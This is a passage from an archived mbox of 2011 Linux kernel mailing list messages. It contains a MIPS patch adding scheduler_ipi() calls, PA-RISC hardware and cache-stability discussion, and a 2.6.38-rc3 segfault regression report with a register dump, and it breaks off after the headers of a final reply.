NNTP-Posting-Date: Mon, 24 Jan 2011 23:05:18 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
        "H. Peter Anvin" <hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org>,
        Heiko Carstens <heiko.carstens-tA70FqPdS9bQT0dZR+AlfA@public.gmane.org>,
        David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
        Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Linux-Arch <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        Jesper Nilsson <jesper.nilsson-VrBV9hrLPhE@public.gmane.org>,
        Jeremy Fitzhardinge <jeremy.fitzhardinge-Sxgqhf6Nn4DQT0dZR+AlfA@public.gmane.org>,
        Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
        Hirokazu Takata <takata-TMSiXQfHlQjsTix1lMzHGQ@public.gmane.org>, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
        "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
        virtualization-qjLDD68F18O7TbgM5vRIOg@public.gmane.org, Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
        Matt Turner <mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Fenghua Yu <fenghua.yu@int
To: Peter Zijlstra <peterz-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
        David Daney <ddaney-M3mlKVOIwJVv6pq1l3V1OdBPR1lH4CV8@public.gmane.org>
Original-X-From: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org Tue Jan 25 00:05:04 2011
Return-path: <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
Envelope-to: glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from blackfin.uclinux.org ([204.50.165.247])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>)
	id 1PhVT3-0002rp-7K
	for glhbkd-uclinux-dist-devel-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Tue, 25 Jan 2011 00:05:01 +0100
Original-Received: from blackfin.uclinux.org (blackfin.uclinux.org [127.0.0.1])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id p0ON4haf003451;
	Mon, 24 Jan 2011 18:04:44 -0500
Original-Received: from cvs.linux-mips.org (eddie.linux-mips.org [78.24.191.182])
	by blackfin.uclinux.org (8.14.3/8.14.3/Debian-5+lenny1) with ESMTP id
	p0ON4OMN003446 for <uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>;
	Mon, 24 Jan 2011 18:04:29 -0500
Original-Received: from localhost.localdomain ([127.0.0.1]:40524 "EHLO
	duck.linux-mips.net" rhost-flags-OK-OK-OK-FAIL)
	by eddie.linux-mips.org with ESMTP id S1491114Ab1AXXEW (ORCPT
	<rfc822;uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>);
	Tue, 25 Jan 2011 00:04:22 +0100
Original-Received: from duck.linux-mips.net (duck [127.0.0.1])
	by duck.linux-mips.net (8.14.4/8.14.4) with ESMTP id p0ON3ous013487;
	Tue, 25 Jan 2011 00:03:50 +0100
Original-Received: (from ralf@localhost)
	by duck.linux-mips.net (8.14.4/8.14.4/Submit) id p0ON3QSm013467;
	Tue, 25 Jan 2011 00:03:26 +0100
Content-Disposition: inline
In-Reply-To: <1295264509.30950.59.camel@laptop>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-BeenThere: uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
X-Mailman-Version: 2.1.11
Precedence: list
List-Id: <uclinux-dist-devel.blackfin.uclinux.org>
List-Unsubscribe: <https://blackfin.uclinux.org/mailman/options/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=unsubscribe>
List-Archive: <http://blackfin.uclinux.org/pipermail/uclinux-dist-devel>
List-Post: <mailto:uclinux-dist-devel-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org>
List-Help: <mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=help>
List-Subscribe: <https://blackfin.uclinux.org/mailman/listinfo/uclinux-dist-devel>,
	<mailto:uclinux-dist-devel-request-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org?subject=subscribe>
Original-Sender: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Errors-To: uclinux-dist-devel-bounces-ZG0+EudsQA8dtHy/vicBwGD2FQJk+8+b@public.gmane.org
Xref: news.gmane.org gmane.linux.hardware.blackfin.kernel.devel:5119 gmane.linux.ports.mips.general:30142 gmane.linux.ports.ia64:21543 gmane.linux.ports.sh.devel:9953 gmane.linux.ports.sparc:14336 gmane.linux.kernel.cross-arch:8991 gmane.linux.kernel.virtualization:11269 gmane.linux.uml.devel:12682 gmane.comp.emulators.xen.devel:97615 gmane.linux.uml.user:13881 gmane.linux.ports.parisc:3406 gmane.linux.kernel:1091438 gmane.linux.ports.alpha:1314 gmane.linux.ports.ppc64.devel:72237
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.blackfin.kernel.devel/5119>

On Mon, Jan 17, 2011 at 12:41:49PM +0100, Peter Zijlstra wrote:

> I visited existing smp_send_reschedule() implementations and tried to
> add a call to scheduler_ipi() in their handler part, but esp. for MIPS
> I'm not quite sure I actually got all of them.

No, you didn't.  Here are a few more for you to fold into the existing patch.

  Ralf

Signed-off-by: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>

 arch/mips/cavium-octeon/smp.c       |    2 ++
 arch/mips/mti-malta/malta-int.c     |    2 ++
 arch/mips/pmc-sierra/yosemite/smp.c |    4 ++++
 arch/mips/sgi-ip27/ip27-irq.c       |    2 ++
 4 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/mips/cavium-octeon/smp.c b/arch/mips/cavium-octeon/smp.c
index 391cefe..170684a 100644
--- a/arch/mips/cavium-octeon/smp.c
+++ b/arch/mips/cavium-octeon/smp.c
@@ -44,6 +44,8 @@ static irqreturn_t mailbox_interrupt(int irq, void *dev_id)
 
 	if (action & SMP_CALL_FUNCTION)
 		smp_call_function_interrupt();
+	if (action & SMP_RESCHEDULE_YOURSELF)
+		scheduler_ipi();
 
 	/* Check if we've been told to flush the icache */
 	if (action & SMP_ICACHE_FLUSH)
diff --git a/arch/mips/mti-malta/malta-int.c b/arch/mips/mti-malta/malta-int.c
index b79b24a..fc7571f 100644
--- a/arch/mips/mti-malta/malta-int.c
+++ b/arch/mips/mti-malta/malta-int.c
@@ -309,6 +309,8 @@ static void ipi_call_dispatch(void)
 
 static irqreturn_t ipi_resched_interrupt(int irq, void *dev_id)
 {
+	scheduler_ipi();
+
 	return IRQ_HANDLED;
 }
 
diff --git a/arch/mips/pmc-sierra/yosemite/smp.c b/arch/mips/pmc-sierra/yosemite/smp.c
index efc9e88..2608752 100644
--- a/arch/mips/pmc-sierra/yosemite/smp.c
+++ b/arch/mips/pmc-sierra/yosemite/smp.c
@@ -55,6 +55,8 @@ void titan_mailbox_irq(void)
 
 		if (status & 0x2)
 			smp_call_function_interrupt();
+		if (status & 0x4)
+			scheduler_ipi();
 		break;
 
 	case 1:
@@ -63,6 +65,8 @@ void titan_mailbox_irq(void)
 
 		if (status & 0x2)
 			smp_call_function_interrupt();
+		if (status & 0x4)
+			scheduler_ipi();
 		break;
 	}
 }
diff --git a/arch/mips/sgi-ip27/ip27-irq.c b/arch/mips/sgi-ip27/ip27-irq.c
index 6a123ea..81d6548 100644
--- a/arch/mips/sgi-ip27/ip27-irq.c
+++ b/arch/mips/sgi-ip27/ip27-irq.c
@@ -147,8 +147,10 @@ static void ip27_do_irq_mask0(void)
 #ifdef CONFIG_SMP
 	if (pend0 & (1UL << CPU_RESCHED_A_IRQ)) {
 		LOCAL_HUB_CLR_INTR(CPU_RESCHED_A_IRQ);
+		scheduler_ipi();
 	} else if (pend0 & (1UL << CPU_RESCHED_B_IRQ)) {
 		LOCAL_HUB_CLR_INTR(CPU_RESCHED_B_IRQ);
+		scheduler_ipi();
 	} else if (pend0 & (1UL << CPU_CALL_A_IRQ)) {
 		LOCAL_HUB_CLR_INTR(CPU_CALL_A_IRQ);
 		smp_call_function_interrupt();

From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP c8000 failure
Date: Thu, 27 Jan 2011 09:53:09 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <AANLkTim78d_RWXQh5MvtpiULkqxNF-OUYhaXHfW+6gpn@mail.gmail.com>
References: <BLU0-SMTP20449831E77AE6C75F0A2DBBFF10@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1296140000 21248 80.91.229.12 (27 Jan 2011 14:53:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 27 Jan 2011 14:53:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: artem.falcon@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 27 15:53:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PiTDm-0000UZ-D5
	for glpp-linux-parisc@lo.gmane.org; Thu, 27 Jan 2011 15:53:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751301Ab1A0OxN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Jan 2011 09:53:13 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:42898 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750934Ab1A0OxN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Jan 2011 09:53:13 -0500
Original-Received: by bwz15 with SMTP id 15so2285718bwz.19
        for <linux-parisc@vger.kernel.org>; Thu, 27 Jan 2011 06:53:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=ODfnmp+5LELNUS5Jv+CSctYgEsqSFMMhcjqFIJ1nvu8=;
        b=Kdb3Rq21LmCqTcXJdoXkDXJ0B3NnuLfoI8fy4smRyfgFk+gdJ8l3Xbwh31nvNQd8vg
         XhexZFY55BBNYmo9vLM8z2npSWRJLVcrxU5rkSAiJx/rW9240wsEOPRDr+uWWsYdSBer
         lY/bqtR4ddmTuWYZspm0TFiAignSFjWyIauiE=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=tw6hwqCRnNjwG0TBETT3jKuqG5CWhQxPinn0eR56jYrKDMeGIgy567R6HO05RJ6VTl
         7h9YxiBGNl05GyGT2qT5deUCfINm9hTNfeUMB8h43Ms2dYLswpJc7ectE1RW7OXwDkt9
         M+1QiQ/RoGvSnbN653zc6uDJ3XGLoumz6xZzg=
Original-Received: by 10.204.119.133 with SMTP id z5mr1592653bkq.72.1296139991590; Thu,
 27 Jan 2011 06:53:11 -0800 (PST)
Original-Received: by 10.204.14.212 with HTTP; Thu, 27 Jan 2011 06:53:09 -0800 (PST)
In-Reply-To: <BLU0-SMTP20449831E77AE6C75F0A2DBBFF10@phx.gbl>
X-Google-Sender-Auth: 7pcxqATJFUzkwF8vKK2VImwFE-U
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3407
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3407>

On Wed, Jan 12, 2011 at 6:26 AM, Alex Vladimirovich
<porebrik@junkemail.ru> wrote:
> Is any technitian there who has some experience with failing c8000s?
> I got oppressive "System Firmware Hang" according to diagnostic LEDs
> on rear panel.

I have found that HP-PARISC hardware is notoriously difficult to fix,
and usually requires buying another box :-)

If I were you (and I recently had to do this for a c3600):

(a) Find the service manual.

(b) Read the section about diagnostic LEDs.

(c) Follow the recommendations.

If that fails, then the box is likely dead, or the manual will say
"Replace main board", which is the equivalent of getting a new box.

Good luck!

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Need to start dismantling Cupertino PA-RISC Linux
Date: Thu, 27 Jan 2011 21:38:27 -0500
Organization: nrc.ca
Lines: 70
Approved: news@gmane.org
Message-ID: <20110128023827.GA27517@hiauly1.hia.nrc.ca>
References: <20100622231714.GE8644@lackof.org> <20100623003317.B9F974E77@hiauly1.hia.nrc.ca> <20100623003615.GG20317@bombadil.infradead.org> <20110124040815.GB10768@parisc-linux.org> <20110124150813.GI27353@bombadil.infradead.org>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1296182320 11647 80.91.229.12 (28 Jan 2011 02:38:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 28 Jan 2011 02:38:40 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 28 03:38:35 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PieEJ-0002LZ-NM
	for glpp-linux-parisc@lo.gmane.org; Fri, 28 Jan 2011 03:38:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754556Ab1A1Cia (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 27 Jan 2011 21:38:30 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4297 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754495Ab1A1Cia (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 27 Jan 2011 21:38:30 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id A31544E01; Thu, 27 Jan 2011 21:38:28 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20110124150813.GI27353@bombadil.infradead.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3408
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3408>

On Mon, 24 Jan 2011, Kyle McMartin wrote:

> On Sun, Jan 23, 2011 at 09:08:15PM -0700, Grant Grundler wrote:
> > On Tue, Jun 22, 2010 at 08:36:15PM -0400, Kyle McMartin wrote:
> > > On Tue, Jun 22, 2010 at 08:33:16PM -0400, John David Anglin wrote:
> > > > I have used up all the spare drives that Grant provided me servicing
> > > > the RS11 and the disk array on hiauly2.  I know Kyle has a spare RS11
> > > > and maybe parts.  Probably, some spare parts for the above would be
> > > > useful but I don't have a huge amount of free time to debug hardware
> > > > issues at the moment.
> > > > 
> > > 
> > > You're welcome to whatever hardware I have here in Ottawa. I'll try to
> > > make a list when I get back to Canada in a few weeks.
> > 
> > Kyle,
> > In case this HW is still laying around, can you generate a HW list please?
> > 
> 
> C3750
> J6700
> RP3440 (quad 1GHz)
> RX2600 (from Martin Hicks, probably WOS's)
> ZX6000
> Bigmama (destined for the scrap heap, has bogus PAL fw that doesn't
> support new PAL cache flush.)
> 712
> 715
> B180
> Various A500
> C8000
> 
> I only really want to keep the C8000, I think, but maybe I'll look and
> see if there's a production one on Ebay. I'm going to talk to various
> people about hosting the RP3440 maybe, but if JDA wants it, he's welcome
> to it. I need to move on to new projects. :/ (I have some newer Sun and
> SGI gear that might need some love someday if I can get the time.)

Kyle has more than enough stuff here in Ottawa to keep GCC support
going, and to help with further kernel development.  A few WD drives
would be useful if there are any still around.

I'm thinking the rp3440 running hpux 11.31 would be very useful as a
comparison base.  If that could be arranged, it would be great.  A
issue came up this week where a 11.31 had a different behavior from
11.11 and 11.23.

Currently, I'm seeing improved stability on my rp3440 running SMP.
James' last patch to improve vmap flush/invalidate seems to be a
a very important change.  Comparing it versus the current code in
update_mmu_cache, it seems we should limit the flush to when
pfn_valid(page_to_pfn(page)) && page_mapping(page) is true.
This seems to have further improved stability and I actually got
through a full GCC build with make -j4 build.  This was something
of a build record, but running the testsuite is still painfully slow.

I'm continuing to test, but I'm hopeful that we are finally gaining
an understanding of the cache issues and the random segvs that result
from cache corruption.  This will make a broader range of machines
usable.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: 2.6.38-rc3 regression on parisc: segfaults
Date: Wed, 2 Feb 2011 00:00:13 +0200 (EET)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1296597627 23289 80.91.229.12 (1 Feb 2011 22:00:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Feb 2011 22:00:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 01 23:00:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PkOGn-0005MC-Un
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Feb 2011 23:00:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752771Ab1BAWAR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Feb 2011 17:00:17 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:38873 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752118Ab1BAWAQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Feb 2011 17:00:16 -0500
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id 9CDEC73D74D;
	Wed,  2 Feb 2011 00:00:13 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id A37D1DAF81; Wed,  2 Feb 2011 00:00:13 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id 9FC8BDAF80;
	Wed,  2 Feb 2011 00:00:13 +0200 (EET)
User-Agent: Alpine 1.00 (SOC 882 2007-12-20)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3409 gmane.linux.kernel:1094811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3409>

I have been testing devel kernels on SMP L1000 successfully until 
2.6.38-rc2-00324-g70d1f36 included. The testing means booting the new 
kernel and running aptitude to update to current debian unstable.

Now I tried 2.6.38-rc3 and got a crash from aptitude on 2 out of 2 
tries. Maybe aptitude was broken inbetween but it looks like a kernel 
bug. Retried 2.6.38-rc2-00324-g70d1f36 and that seemed to work fine so 
it's more likely a kernel problem.

What additional information can I provide?

[   74.590000]
[   74.590000] do_page_fault() pid=979 command='aptitude' type=15 address=0x0000002d
[   74.590000]
[   74.590000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   74.590000] PSW: 00000000000001001111111100001111 Not tainted
[   74.590000] r00-03  000000ff0004ff0f 000000004027b5ac 00000000405df23b 000000004067e884
[   74.590000] r04-07  000000004067c860 000000004067e6d0 000000004067e880 00000000c014b7d0
[   74.590000] r08-11  0000000000000001 0000000000000001 000000004067c860 0000000041b082c8
[   74.590000] r12-15  000000004067e730 000000004067e6d0 000000004067c860 000000004067c860
[   74.590000] r16-19  000000004067c860 000000004067e060 0000000000000000 000000004067c860
[   74.590000] r20-23  0000000000000229 0000000000000000 0000000000000000 0000000000000000
[   74.590000] r24-27  fffffffffffffff5 ffffffffffffffd3 000000004067e730 00000000004227a4
[   74.590000] r28-31  000000000000002d 0000000000000000 00000000c014b8c0 00000000402688db
[   74.590000] sr00-03  0000000000228800 0000000000228800 0000000000000000 0000000000228800
[   74.590000] sr04-07  0000000000228800 0000000000228800 0000000000228800 0000000000228800
[   74.590000]
[   74.590000]       VZOUICununcqcqcqcqcqcrmunTDVZOUI
[   74.590000] FPSR: 00001000001000100010000000000000
[   74.590000] FPER1: 00000000
[   74.590000] fr00-03  0822200000000000 0000000000000000 0000000000000000 0000000000000000
[   74.590000] fr04-07  0000000a00000000 0000000000000000 0000000000000000 0000000000000000
[   74.590000] fr08-11  0000000000000000 00000000406cf120 00000000401563e8 00000000404c59d8
[   74.590000] fr12-15  000000000804000f 000000000800000f 00000000401563e8 00000000ffc60460
[   74.590000] fr16-19  00000000406cf120 0000000040639d54 0000000000000046 0000000040599294
[   74.590000] fr20-23  00000000ffc60348 00000000406dd920 0000000000000038 4038000000000000
[   74.590000] fr24-27  0000000000000000 0000000000000000 3ff0000000000000 412e848c00000000
[   74.590000] fr28-31  0000000040599250 00000000ffc60357 00000000ffc60357 00000000405dfba8
[   74.590000]
[   74.590000] IASQ: 0000000000228800 0000000000228800 IAOQ: 00000000405df25b 00000000405df25f
[   74.590000]  IIR: 0f80108b    ISR: 0000000000228800  IOR: 000000000000002d
[   74.590000]  CPU:        0   CR30: 00000000fe050000 CR31: 0000000000008020
[   74.590000]  ORIG_R28: 0000000000000080
[   74.590000]  IAOQ[0]: 00000000405df25b
[   74.590000]  IAOQ[1]: 00000000405df25f
[   74.590000]  RP(r2): 00000000405df23b


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Tue, 01 Feb 2011 16:12:40 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <1296598360.18277.11.camel@mulgrave.site>
References: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1296598372 27313 80.91.229.12 (1 Feb 2011 22:12:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 1 Feb 2011 22:12:52 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 01 23:12:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PkOSq-0004lY-MS
	for glpp-linux-parisc@lo.gmane.org; Tue, 01 Feb 2011 23:12:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751525Ab1BAWMn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Feb 2011 17:12:43 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59203 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751470Ab1BAWMn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Feb 2011 17:12:43 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id F10C48EE0E8;
	Tue,  1 Feb 2011 14:12:42 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id YL68nfuQbIR0; Tue,  1 Feb 2011 14:12:42 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 61D5F8EE0CD;
	Tue,  1 Feb 2011 14:12:42 -0800 (PST)
In-Reply-To: <alpine.SOC.1.00.1102012342200.25944@math.ut.ee>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3410 gmane.linux.kernel:1094822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3410>

On Wed, 2011-02-02 at 00:00 +0200, Meelis Roos wrote:
> I have been testing devel kernels on SMP L1000 successfully until 
> 2.6.38-rc2-00324-g70d1f36 included. The testing means booting the new 
> kernel and running aptitude to update to current debian unstable.
> 
> Now I tried 2.6.38-rc3 and got a crash from aptitude on 2 out of 2 
> tries. Maybe aptitude was broken inbetween but it looks like a kernel 
> bug. Retried 2.6.38-rc2-00324-g70d1f36 and that seemed to work fine so 
> it's more likely a kernel problem.
> 
> What additional information can I provide?

Probably a bisection, if you could.  There have been no parisc patches
between -rc2 and -rc3, so it's coming from outside the architecture.

Thanks,

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Tue, 1 Feb 2011 17:16:40 -0500
